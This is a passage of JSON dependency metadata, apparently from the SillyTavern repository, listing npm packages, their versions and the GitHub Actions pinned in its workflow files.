alse},{"id":13876248964,"package_name":"qs","ecosystem":"npm","requirements":"6.11.0","direct":false,"kind":"runtime","optional":false},{"id":13876248965,"package_name":"queue-microtask","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"development","optional":false},{"id":13876248966,"package_name":"range-parser","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":13876248967,"package_name":"raw-body","ecosystem":"npm","requirements":"2.5.1","direct":false,"kind":"runtime","optional":false},{"id":13876248968,"package_name":"rc","ecosystem":"npm","requirements":"1.2.8","direct":false,"kind":"development","optional":false},{"id":13876248969,"package_name":"readable-stream","ecosystem":"npm","requirements":"2.3.8","direct":false,"kind":"runtime","optional":false},{"id":13876248970,"package_name":"readable-web-to-node-stream","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"runtime","optional":false},{"id":13876248971,"package_name":"readable-stream","ecosystem":"npm","requirements":"3.6.2","direct":false,"kind":"runtime","optional":false},{"id":13876248972,"package_name":"regenerator-runtime","ecosystem":"npm","requirements":"0.13.11","direct":false,"kind":"runtime","optional":false},{"id":13876248973,"package_name":"require-directory","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"runtime","optional":false},{"id":13876248974,"package_name":"resolve","ecosystem":"npm","requirements":"1.22.2","direct":false,"kind":"development","optional":false},{"id":13876248975,"package_name":"is-core-module","ecosystem":"npm","requirements":"2.12.1","direct":false,"kind":"development","optional":false},{"id":13876248976,"package_name":"response-time","ecosystem":"npm","requirements":"2.3.2","direct":false,"kind":"runtime","optional":false},{"id":13876248977,"package_name":"depd","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":13876248978,"package_name":"reusify","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":13876248979,"package_name":"run-parallel","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":13876248980,"package_name":"safe-buffer","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"runtime","optional":false},{"id":13876248981,"package_name":"safer-buffer","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"runtime","optional":false},{"id":13876248982,"package_name":"sanitize-filename","ecosystem":"npm","requirements":"1.6.3","direct":false,"kind":"runtime","optional":false},{"id":13876248983,"package_name":"sax","ecosystem":"npm","requirements":"1.2.4","direct":false,"kind":"runtime","optional":false},{"id":13876248984,"package_name":"semver","ecosystem":"npm","requirements":"7.5.4","direct":false,"kind":"development","optional":false},{"id":13876248985,"package_name":"send","ecosystem":"npm","requirements":"0.18.0","direct":false,"kind":"runtime","optional":false},{"id":13876248986,"package_name":"ms","ecosystem":"npm","requirements":"2.1.3","direct":false,"kind":"runtime","optional":false},{"id":13876248987,"package_name":"serve-static","ecosystem":"npm","requirements":"1.15.0","direct":false,"kind":"runtime","optional":false},{"id":13876248988,"package_name":"setprototypeof","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":13876248989,"package_name":"side-channel","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"runtime","optional":false},{"id":13876248990,"package_name":"signal-exit","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"runtime","optional":false},{"id":13876248991,"package_name":"simple-concat","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":13876248992,"package_name":"simple-get","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"development","optional":false},{"id":13876248993,"package_name":"simple-git","ecosystem":"npm","requirements":"3.19.1","direct":false,"kind":"runtime","optional":false},{"id":13876248994,"package_name":"slash","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":13876248995,"package_name":"sliced","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876248996,"package_name":"statuses","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876248997,"package_name":"stream-meter","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":13876248998,"package_name":"streamsearch","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":13876248999,"package_name":"string_decoder","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":13876249000,"package_name":"string-width","ecosystem":"npm","requirements":"4.2.3","direct":false,"kind":"runtime","optional":false},{"id":13876249001,"package_name":"strip-ansi","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876249002,"package_name":"strip-json-comments","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":13876249003,"package_name":"strtok3","ecosystem":"npm","requirements":"6.3.0","direct":false,"kind":"runtime","optional":false},{"id":13876249004,"package_name":"supports-color","ecosystem":"npm","requirements":"7.2.0","direct":false,"kind":"development","optional":false},{"id":13876249005,"package_name":"supports-preserve-symlinks-flag","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":13876249006,"package_name":"tar-fs","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":13876249007,"package_name":"tar-stream","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"development","optional":false},{"id":13876249008,"package_name":"timm","ecosystem":"npm","requirements":"1.7.1","direct":false,"kind":"runtime","optional":false},{"id":13876249009,"package_name":"tinycolor2","ecosystem":"npm","requirements":"1.6.0","direct":false,"kind":"runtime","optional":false},{"id":13876249010,"package_name":"to-fast-properties","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":13876249011,"package_name":"to-regex-range","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":13876249012,"package_name":"toidentifier","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876249013,"package_name":"token-types","ecosystem":"npm","requirements":"4.2.1","direct":false,"kind":"runtime","optional":false},{"id":13876249014,"package_name":"tr46","ecosystem":"npm","requirements":"0.0.3","direct":false,"kind":"runtime","optional":false},{"id":13876249015,"package_name":"truncate-utf8-bytes","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":13876249016,"package_name":"tunnel-agent","ecosystem":"npm","requirements":"0.6.0","direct":false,"kind":"development","optional":false},{"id":13876249017,"package_name":"type-is","ecosystem":"npm","requirements":"1.6.18","direct":false,"kind":"runtime","optional":false},{"id":13876249018,"package_name":"typedarray","ecosystem":"npm","requirements":"0.0.6","direct":false,"kind":"runtime","optional":false},{"id":13876249019,"package_name":"uniqolor","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":13876249020,"package_name":"universalify","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":13876249021,"package_name":"unpipe","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876249022,"package_name":"utf8-byte-length","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"runtime","optional":false},{"id":13876249023,"package_name":"utif2","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"runtime","optional":false},{"id":13876249024,"package_name":"util-deprecate","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":13876249025,"package_name":"utils-merge","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876249026,"package_name":"vary","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":13876249027,"package_name":"webidl-conversions","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876249028,"package_name":"whatwg-fetch","ecosystem":"npm","requirements":"3.6.2","direct":false,"kind":"runtime","optional":false},{"id":13876249029,"package_name":"whatwg-url","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876249030,"package_name":"wrap-ansi","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876249031,"package_name":"wrappy","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":13876249032,"package_name":"write-file-atomic","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876249033,"package_name":"ws","ecosystem":"npm","requirements":"8.13.0","direct":false,"kind":"runtime","optional":false},{"id":13876249034,"package_name":"xhr","ecosystem":"npm","requirements":"2.6.0","direct":false,"kind":"runtime","optional":false},{"id":13876249035,"package_name":"xml-parse-from-string","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876249036,"package_name":"xmlbuilder","ecosystem":"npm","requirements":"11.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876249037,"package_name":"xtend","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"runtime","optional":false},{"id":13876249038,"package_name":"y18n","ecosystem":"npm","requirements":"5.0.8","direct":false,"kind":"runtime","optional":false},{"id":13876249039,"package_name":"yallist","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":13876249040,"package_name":"yargs","ecosystem":"npm","requirements":"17.7.2","direct":false,"kind":"runtime","optional":false},{"id":13876249041,"package_name":"yargs-parser","ecosystem":"npm","requirements":"21.1.1","direct":false,"kind":"runtime","optional":false},{"id":13876249042,"package_name":"yauzl","ecosystem":"npm","requirements":"2.10.0","direct":false,"kind":"runtime","optional":false}]},{"ecosystem":"npm","filepath":"package.json","sha":null,"kind":"manifest","created_at":"2023-09-22T14:36:02.950Z","updated_at":"2023-09-22T14:36:02.950Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/package.json","dependencies":[{"id":13876249158,"package_name":"@agnai/sentencepiece-js","ecosystem":"npm","requirements":"^1.1.1","direct":true,"kind":"runtime","optional":false},{"id":13876249159,"package_name":"@agnai/web-tokenizers","ecosystem":"npm","requirements":"^0.1.3","direct":true,"kind":"runtime","optional":false},{"id":13876249160,"package_name":"@dqbd/tiktoken","ecosystem":"npm","requirements":"^1.0.2","direct":true,"kind":"runtime","optional":false},{"id":13876249161,"package_name":"command-exists","ecosystem":"npm","requirements":"^1.2.9","direct":true,"kind":"runtime","optional":false},{"id":13876249162,"package_name":"compression","ecosystem":"npm","requirements":"^1","direct":true,"kind":"runtime","optional":false},{"id":13876249163,"package_name":"cookie-parser","ecosystem":"npm","requirements":"^1.4.6","direct":true,"kind":"runtime","optional":false},{"id":13876249164,"package_name":"cors","ecosystem":"npm","requirements":"^2.8.5","direct":true,"kind":"runtime","optional":false},{"id":13876249165,"package_name":"csrf-csrf","ecosystem":"npm","requirements":"^2.2.3","direct":true,"kind":"runtime","optional":false},{"id":13876249166,"package_name":"device-detector-js","ecosystem":"npm","requirements":"^3.0.3","direct":true,"kind":"runtime","optional":false},{"id":13876249167,"package_name":"express","ecosystem":"npm","requirements":"^4.18.2","direct":true,"kind":"runtime","optional":false},{"id":13876249168,"package_name":"google-translate-api-browser","ecosystem":"npm","requirements":"^3.0.1","direct":true,"kind":"runtime","optional":false},{"id":13876249169,"package_name":"gpt3-tokenizer","ecosystem":"npm","requirements":"^1.1.5","direct":true,"kind":"runtime","optional":false},{"id":13876249170,"package_name":"ip-matching","ecosystem":"npm","requirements":"^2.1.2","direct":true,"kind":"runtime","optional":false},{"id":13876249171,"package_name":"ipaddr.js","ecosystem":"npm","requirements":"^2.0.1","direct":true,"kind":"runtime","optional":false},{"id":13876249172,"package_name":"jimp","ecosystem":"npm","requirements":"^0.22.7","direct":true,"kind":"runtime","optional":false},{"id":13876249173,"package_name":"jquery","ecosystem":"npm","requirements":"^3.6.4","direct":true,"kind":"runtime","optional":false},{"id":13876249174,"package_name":"json5","ecosystem":"npm","requirements":"^2.2.3","direct":true,"kind":"runtime","optional":false},{"id":13876249175,"package_name":"lodash","ecosystem":"npm","requirements":"^4.17.21","direct":true,"kind":"runtime","optional":false},{"id":13876249176,"package_name":"mime-types","ecosystem":"npm","requirements":"^2.1.35","direct":true,"kind":"runtime","optional":false},{"id":13876249177,"package_name":"multer","ecosystem":"npm","requirements":"^1.4.5-lts.1","direct":true,"kind":"runtime","optional":false},{"id":13876249178,"package_name":"node-fetch","ecosystem":"npm","requirements":"^2.6.11","direct":true,"kind":"runtime","optional":false},{"id":13876249179,"package_name":"open","ecosystem":"npm","requirements":"^8.4.2","direct":true,"kind":"runtime","optional":false},{"id":13876249180,"package_name":"png-chunk-text","ecosystem":"npm","requirements":"^1.0.0","direct":true,"kind":"runtime","optional":false},{"id":13876249181,"package_name":"png-chunks-encode","ecosystem":"npm","requirements":"^1.0.0","direct":true,"kind":"runtime","optional":false},{"id":13876249182,"package_name":"png-chunks-extract","ecosystem":"npm","requirements":"^1.0.0","direct":true,"kind":"runtime","optional":false},{"id":13876249183,"package_name":"response-time","ecosystem":"npm","requirements":"^2.3.2","direct":true,"kind":"runtime","optional":false},{"id":13876249184,"package_name":"sanitize-filename","ecosystem":"npm","requirements":"^1.6.3","direct":true,"kind":"runtime","optional":false},{"id":13876249185,"package_name":"simple-git","ecosystem":"npm","requirements":"^3.19.1","direct":true,"kind":"runtime","optional":false},{"id":13876249186,"package_name":"uniqolor","ecosystem":"npm","requirements":"^1.1.0","direct":true,"kind":"runtime","optional":false},{"id":13876249187,"package_name":"write-file-atomic","ecosystem":"npm","requirements":"^5.0.1","direct":true,"kind":"runtime","optional":false},{"id":13876249188,"package_name":"ws","ecosystem":"npm","requirements":"^8.13.0","direct":true,"kind":"runtime","optional":false},{"id":13876249189,"package_name":"yargs","ecosystem":"npm","requirements":"^17.7.1","direct":true,"kind":"runtime","optional":false},{"id":13876249190,"package_name":"yauzl","ecosystem":"npm","requirements":"^2.10.0","direct":true,"kind":"runtime","optional":false},{"id":13876249191,"package_name":"pkg","ecosystem":"npm","requirements":"^5.8.1","direct":true,"kind":"development","optional":false},{"id":13876249192,"package_name":"pkg-fetch","ecosystem":"npm","requirements":"^3.5.2","direct":true,"kind":"development","optional":false}]},{"ecosystem":"npm","filepath":"src/electron/package-lock.json","sha":null,"kind":"lockfile","created_at":"2026-09-15T02:12:20.201Z","updated_at":"2026-09-15T02:12:20.201Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/src/electron/package-lock.json","dependencies":[{"id":26500039330,"package_name":"@electron/get","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039331,"package_name":"@sindresorhus/is","ecosystem":"npm","requirements":"4.6.0","direct":false,"kind":"runtime","optional":false},{"id":26500039332,"package_name":"@szmarczak/http-timer","ecosystem":"npm","requirements":"4.0.6","direct":false,"kind":"runtime","optional":false},{"id":26500039333,"package_name":"@types/cacheable-request","ecosystem":"npm","requirements":"6.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039334,"package_name":"@types/http-cache-semantics","ecosystem":"npm","requirements":"4.0.4","direct":false,"kind":"runtime","optional":false},{"id":26500039335,"package_name":"@types/keyv","ecosystem":"npm","requirements":"3.1.4","direct":false,"kind":"runtime","optional":false},{"id":26500039336,"package_name":"@types/node","ecosystem":"npm","requirements":"24.12.2","direct":false,"kind":"runtime","optional":false},{"id":26500039337,"package_name":"@types/responselike","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039338,"package_name":"@types/yauzl","ecosystem":"npm","requirements":"2.10.3","direct":false,"kind":"runtime","optional":false},{"id":26500039339,"package_name":"boolean","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"runtime","optional":false},{"id":26500039340,"package_name":"buffer-crc32","ecosystem":"npm","requirements":"0.2.13","direct":false,"kind":"runtime","optional":false},{"id":26500039341,"package_name":"cacheable-lookup","ecosystem":"npm","requirements":"5.0.4","direct":false,"kind":"runtime","optional":false},{"id":26500039342,"package_name":"cacheable-request","ecosystem":"npm","requirements":"7.0.4","direct":false,"kind":"runtime","optional":false},{"id":26500039343,"package_name":"clone-response","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039344,"package_name":"debug","ecosystem":"npm","requirements":"4.4.0","direct":false,"kind":"runtime","optional":false},{"id":26500039345,"package_name":"decompress-response","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039346,"package_name":"mimic-response","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039347,"package_name":"defer-to-connect","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039348,"package_name":"define-data-property","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"runtime","optional":false},{"id":26500039349,"package_name":"define-properties","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":26500039350,"package_name":"detect-node","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039351,"package_name":"electron","ecosystem":"npm","requirements":"41.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039352,"package_name":"end-of-stream","ecosystem":"npm","requirements":"1.4.4","direct":false,"kind":"runtime","optional":false},{"id":26500039353,"package_name":"env-paths","ecosystem":"npm","requirements":"2.2.1","direct":false,"kind":"runtime","optional":false},{"id":26500039354,"package_name":"es-define-property","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039355,"package_name":"es-errors","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"runtime","optional":false},{"id":26500039356,"package_name":"es6-error","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039357,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039358,"package_name":"extract-zip","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039359,"package_name":"fd-slicer","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039360,"package_name":"fs-extra","ecosystem":"npm","requirements":"8.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039361,"package_name":"get-stream","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"runtime","optional":false},{"id":26500039362,"package_name":"global-agent","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039363,"package_name":"semver","ecosystem":"npm","requirements":"7.7.1","direct":false,"kind":"runtime","optional":false},{"id":26500039364,"package_name":"globalthis","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"runtime","optional":false},{"id":26500039365,"package_name":"gopd","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":26500039366,"package_name":"got","ecosystem":"npm","requirements":"11.8.6","direct":false,"kind":"runtime","optional":false},{"id":26500039367,"package_name":"graceful-fs","ecosystem":"npm","requirements":"4.2.11","direct":false,"kind":"runtime","optional":false},{"id":26500039368,"package_name":"has-property-descriptors","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039369,"package_name":"http-cache-semantics","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039370,"package_name":"http2-wrapper","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039371,"package_name":"json-buffer","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039372,"package_name":"json-stringify-safe","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039373,"package_name":"jsonfile","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039374,"package_name":"keyv","ecosystem":"npm","requirements":"4.5.4","direct":false,"kind":"runtime","optional":false},{"id":26500039375,"package_name":"lowercase-keys","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039376,"package_name":"matcher","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039377,"package_name":"mimic-response","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039378,"package_name":"ms","ecosystem":"npm","requirements":"2.1.3","direct":false,"kind":"runtime","optional":false},{"id":26500039379,"package_name":"normalize-url","ecosystem":"npm","requirements":"6.1.0","direct":false,"kind":"runtime","optional":false},{"id":26500039380,"package_name":"object-keys","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039381,"package_name":"once","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"runtime","optional":false},{"id":26500039382,"package_name":"p-cancelable","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039383,"package_name":"pend","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":26500039384,"package_name":"progress","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"runtime","optional":false},{"id":26500039385,"package_name":"pump","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039386,"package_name":"quick-lru","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"runtime","optional":false},{"id":26500039387,"package_name":"resolve-alpn","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":26500039388,"package_name":"responselike","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039389,"package_name":"roarr","ecosystem":"npm","requirements":"2.15.4","direct":false,"kind":"runtime","optional":false},{"id":26500039390,"package_name":"semver","ecosystem":"npm","requirements":"6.3.1","direct":false,"kind":"runtime","optional":false},{"id":26500039391,"package_name":"semver-compare","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":26500039392,"package_name":"serialize-error","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039393,"package_name":"sprintf-js","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"runtime","optional":false},{"id":26500039394,"package_name":"sumchecker","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":26500039395,"package_name":"type-fest","ecosystem":"npm","requirements":"0.13.1","direct":false,"kind":"runtime","optional":false},{"id":26500039396,"package_name":"undici-types","ecosystem":"npm","requirements":"7.16.0","direct":false,"kind":"runtime","optional":false},{"id":26500039397,"package_name":"universalify","ecosystem":"npm","requirements":"0.1.2","direct":false,"kind":"runtime","optional":false},{"id":26500039398,"package_name":"wrappy","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":26500039399,"package_name":"yauzl","ecosystem":"npm","requirements":"2.10.0","direct":false,"kind":"runtime","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/pr-checks.yml","sha":null,"kind":"manifest","created_at":"2026-09-15T02:12:19.949Z","updated_at":"2026-09-15T02:12:19.949Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/.github/workflows/pr-checks.yml","dependencies":[{"id":26500039287,"package_name":"actions/checkout","ecosystem":"actions","requirements":"11bd71901bbe5b1630ceea73d27597364c9af683","direct":true,"kind":"composite","optional":false},{"id":26500039288,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"cdca7365b2dadb8aad0a33bc7601856ffabcc48e","direct":true,"kind":"composite","optional":false},{"id":26500039289,"package_name":"sibiraj-s/action-eslint","ecosystem":"actions","requirements":"bcf41bb9abce43cdbad51ab9b3da2eddaa17eab3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/job-close-stale.yml","sha":null,"kind":"manifest","created_at":"2026-09-15T02:12:19.478Z","updated_at":"2026-09-15T02:12:19.478Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/.github/workflows/job-close-stale.yml","dependencies":[{"id":26500039098,"package_name":"actions/create-github-app-token","ecosystem":"actions","requirements":"fee1f7d63c2ff003460e3d139729b119787bc349","direct":true,"kind":"composite","optional":false},{"id":26500039099,"package_name":"actions/stale","ecosystem":"actions","requirements":"5bef64f19d7facfb25b37b414482c7164d639639","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/on-close-handler.yml","sha":null,"kind":"manifest","created_at":"2026-09-15T02:12:19.583Z","updated_at":"2026-09-15T02:12:19.583Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/.github/workflows/on-close-handler.yml","dependencies":[{"id":26500039183,"package_name":"actions/create-github-app-token","ecosystem":"actions","requirements":"fee1f7d63c2ff003460e3d139729b119787bc349","direct":true,"kind":"composite","optional":false},{"id":26500039184,"package_name":"actions-cool/issues-helper","ecosystem":"actions","requirements":"a610082f8ac0cf03e357eb8dd0d5e2ba075e017e","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/on-open-handler.yml","sha":null,"kind":"manifest","created_at":"2026-09-15T02:12:19.669Z","updated_at":"2026-09-15T02:12:19.669Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/.github/workflows/on-open-handler.yml","dependencies":[{"id":26500039227,"package_name":"actions/create-github-app-token","ecosystem":"actions","requirements":"fee1f7d63c2ff003460e3d139729b119787bc349","direct":true,"kind":"composite","optional":false},{"id":26500039228,"package_name":"actions-cool/issues-helper","ecosystem":"actions","requirements":"a610082f8ac0cf03e357eb8dd0d5e2ba075e017e","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/pr-check-merge-conflicts.yaml","sha":null,"kind":"manifest","created_at":"2026-09-15T02:12:19.860Z","updated_at":"2026-09-15T02:12:19.860Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/.github/workflows/pr-check-merge-conflicts.yaml","dependencies":[{"id":26500039264,"package_name":"actions/create-github-app-token","ecosystem":"actions","requirements":"fee1f7d63c2ff003460e3d139729b119787bc349","direct":true,"kind":"composite","optional":false},{"id":26500039265,"package_name":"eps1lon/actions-label-merge-conflict","ecosystem":"actions","requirements":"1df065ebe6e3310545d4f4c4e862e43bdca146f0","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/issues-auto-manager.yml","sha":null,"kind":"manifest","created_at":"2026-09-15T02:12:19.089Z","updated_at":"2026-09-15T02:12:19.089Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/.github/workflows/issues-auto-manager.yml","dependencies":[{"id":26500038746,"package_name":"actions/create-github-app-token","ecosystem":"actions","requirements":"fee1f7d63c2ff003460e3d139729b119787bc349","direct":true,"kind":"composite","optional":false},{"id":26500038747,"package_name":"actions/checkout","ecosystem":"actions","requirements":"11bd71901bbe5b1630ceea73d27597364c9af683","direct":true,"kind":"composite","optional":false},{"id":26500038748,"package_name":"github/issue-labeler","ecosystem":"actions","requirements":"c1b0f9f52a63158c4adc09425e858e87b32e9685","direct":true,"kind":"composite","optional":false},{"id":26500038780,"package_name":"actions-cool/issues-helper","ecosystem":"actions","requirements":"a610082f8ac0cf03e357eb8dd0d5e2ba075e017e","direct":true,"kind":"composite","optional":false},{"id":26500038800,"package_name":"peaceiris/actions-label-commenter","ecosystem":"actions","requirements":"f0dbbef043eb1b150b566db36b0bdc8b7f505579","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/issues-updates-on-merge.yml","sha":null,"kind":"manifest","created_at":"2026-09-15T02:12:19.388Z","updated_at":"2026-09-15T02:12:19.388Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/.github/workflows/issues-updates-on-merge.yml","dependencies":[{"id":26500039092,"package_name":"actions/create-github-app-token","ecosystem":"actions","requirements":"fee1f7d63c2ff003460e3d139729b119787bc349","direct":true,"kind":"composite","optional":false},{"id":26500039093,"package_name":"actions/checkout","ecosystem":"actions","requirements":"11bd71901bbe5b1630ceea73d27597364c9af683","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/pr-auto-manager.yml","sha":null,"kind":"manifest","created_at":"2026-09-15T02:12:19.767Z","updated_at":"2026-09-15T02:12:19.767Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/.github/workflows/pr-auto-manager.yml","dependencies":[{"id":26500039248,"package_name":"actions/create-github-app-token","ecosystem":"actions","requirements":"fee1f7d63c2ff003460e3d139729b119787bc349","direct":true,"kind":"composite","optional":false},{"id":26500039249,"package_name":"codelytv/pr-size-labeler","ecosystem":"actions","requirements":"4ec67706cd878fbc1c8db0a5dcd28b6bb412e85a","direct":true,"kind":"composite","optional":false},{"id":26500039250,"package_name":"actions/checkout","ecosystem":"actions","requirements":"11bd71901bbe5b1630ceea73d27597364c9af683","direct":true,"kind":"composite","optional":false},{"id":26500039251,"package_name":"actions/labeler","ecosystem":"actions","requirements":"8558fd74291d67161a8a78ce36a881fa63b766a9","direct":true,"kind":"composite","optional":false},{"id":26500039252,"package_name":"actions-cool/issues-helper","ecosystem":"actions","requirements":"a610082f8ac0cf03e357eb8dd0d5e2ba075e017e","direct":true,"kind":"composite","optional":false},{"id":26500039253,"package_name":"actions/github-script","ecosystem":"actions","requirements":"60a0d83039c74a4aee543508d2ffcb1c3799cdea","direct":true,"kind":"composite","optional":false},{"id":26500039254,"package_name":"peaceiris/actions-label-commenter","ecosystem":"actions","requirements":"f0dbbef043eb1b150b566db36b0bdc8b7f505579","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"npm","filepath":"plugins/package.json","sha":null,"kind":"manifest","created_at":"2026-09-15T02:12:20.118Z","updated_at":"2026-09-15T02:12:20.118Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/plugins/package.json","dependencies":[]},{"ecosystem":"npm","filepath":"src/electron/package.json","sha":null,"kind":"manifest","created_at":"2026-09-